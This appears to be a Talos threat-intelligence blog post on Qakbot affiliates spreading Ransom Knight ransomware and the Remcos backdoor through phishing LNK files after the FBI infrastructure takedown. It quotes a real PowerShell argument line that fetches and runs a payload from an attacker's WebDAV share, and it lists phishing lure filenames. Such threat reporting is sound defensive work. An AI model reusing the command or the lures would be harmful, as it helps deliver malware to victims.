Qakbot-affiliated actors distribute Ransom Knight malware despite infrastructure takedown

  • The threat actors behind the Qakbot malware have been conducting a campaign since early August 2023 in which they have been distributing Ransom Knight ransomware and the Remcos backdoor via phishing emails.
  • Notably, this activity appeared to begin before the FBI seized Qakbot infrastructure in late August and has been ongoing since, indicating the law enforcement operation may not have impacted Qakbot operators’ spam delivery infrastructure but rather only their command and control (C2) servers.
  • Talos attributed this new campaign to Qakbot affiliates as the metadata found in LNK files used in this campaign matches the metadata from machines used in previous Qakbot campaigns “AA” and ”BB.”
  • Though we have not seen the threat actors distributing Qakbot itself post-infrastructure takedown, we assess the malware will  continue to pose a significant threat moving forward. We see this as likely as the developers were not arrested and are still operational, opening the possibility that they may choose to rebuild the Qakbot infrastructure.

In a late August 2023 operation involving the FBI and many international partners, law enforcement agencies seized the infrastructure and cryptocurrency assets used by the Qakbot malware, dealing considerable damage to the group’s operations. Many people in the security industry wondered whether this would mean that the Qakbot affiliates were gone forever or just temporarily out of work while rebuilding their infrastructure.

Talos assesses with moderate confidence that the threat actors behind Qakbot are still active and have been conducting a new campaign that started just before the takedown, distributing a variant of Cyclops/Ransom Knight ransomware along with the Remcos backdoor. We tracked this new activity by connecting the metadata in the LNK files used in the new campaign to the machines used in previous Qakbot campaigns.

In January 2023, we wrote a blog post on using metadata from LNK files to identify and track threat actors. We specifically detailed how one machine used in the “AA” campaign with a drive serial number of “0x2848e8a8” was later used in a campaign for the new botnet named BB”. After our blog’s publication, primary Qakbot actors responsible for the  AA”, “BB”, and Obamacampaigns started to wipe out the metadata in their LNK files to make detection and tracking harder.

Talos identified new LNK files in August 2023 that were created on the same machine referenced above, but observed that the payload of the files pointed to a network share in the command line that served a variant of Ransom Knight ransomware. Further analysis of the files revealed they point to Powershell.exe and pass the following arguments to download the next stage:

-c “explorer ‘\89[.]23[.]96[.]203@80333′”; Start-Sleep -Seconds 1; Stop-Process -Name explorer; \89[.]23[.]96[.][email protected]

The command above opens Explorer.exe and attempts to access a remote network share on IP 89[.]23[.]96[.]203 using WebDAV on port 80. This method could be an attempt to bypass command line detection for downloading of a remote executable via PowerShell (T1105 Ingress Tool Transfer).

The filenames of these LNK files, with themes of urgent financial matters, suggest they are being distributed in phishing emails, which is consistent with previous Qakbot campaigns:

  • ATTENTION-Invoice-29-August.docx.lnk
  • bank transfer request.lnk
  • Booking info.pdf.lnk
  • Fattura NON pagata Agosto 2023.docx.lnk
  • FRAUD bank transfer report.pdf.lnk
  • invoice OTP bank.pdf.lnk
  • MANDATORY-Invoice-28-August.docx.lnk
  • NOT-paid-Invoice-26-August.pdf.lnk
  • Nuove coordinate bancarie e IBAN 2023.docx.lnk
  • Nuove coordinate bancarie e IBAN 2023.img.lnk
  • Pay-Invoices-29-August.pdf.lnk
  • URGENT-Invoice-27-August.docx.lnk

Some of the filenames are written in Italian, which suggests the threat actors may be targeting users in that region. The LNK files are being distributed inside Zip archives that also contain an XLL file. XLL is an extension used for Excel add-ins, and comes with an icon similar to other Excel file formats:

Cisco Secure Endpoint (formerly AMP for Endpoints) is ideally suited to prevent the execution of the malware detailed in this post. Try Secure Endpoint for free here.

Cisco Secure Web Appliance web scanning prevents access to malicious websites and detects malware used in these attacks.

Cisco Secure Email (formerly Cisco Email Security) can block malicious emails sent by threat actors as part of their campaign. You can try Secure Email for free here.

Cisco Secure Firewall (formerly Next-Generation Firewall and Firepower NGFW) appliances such as Threat Defense Virtual, Adaptive Security Appliance and Meraki MX can detect malicious activity associated with this threat.

Cisco Secure Malware Analytics (Threat Grid) identifies malicious binaries and builds protection into all Cisco Secure products.

Umbrella, Cisco’s secure internet gateway (SIG), blocks users from connecting to malicious domains, IPs, and URLs, whether users are on or off the corporate network. Sign up for a free trial of Umbrella here.

Cisco Secure Web Appliance (formerly Web Security Appliance) automatically blocks potentially dangerous sites and tests suspicious sites before users access them.

Additional protections with context to your specific environment and threat data are available from the Firewall Management Center.

Cisco Duo provides multi-factor authentication for users to ensure only those authorized are accessing your network.

ClamAV detections are available for this threat:

Indicators of Compromise associated with this threat can be found here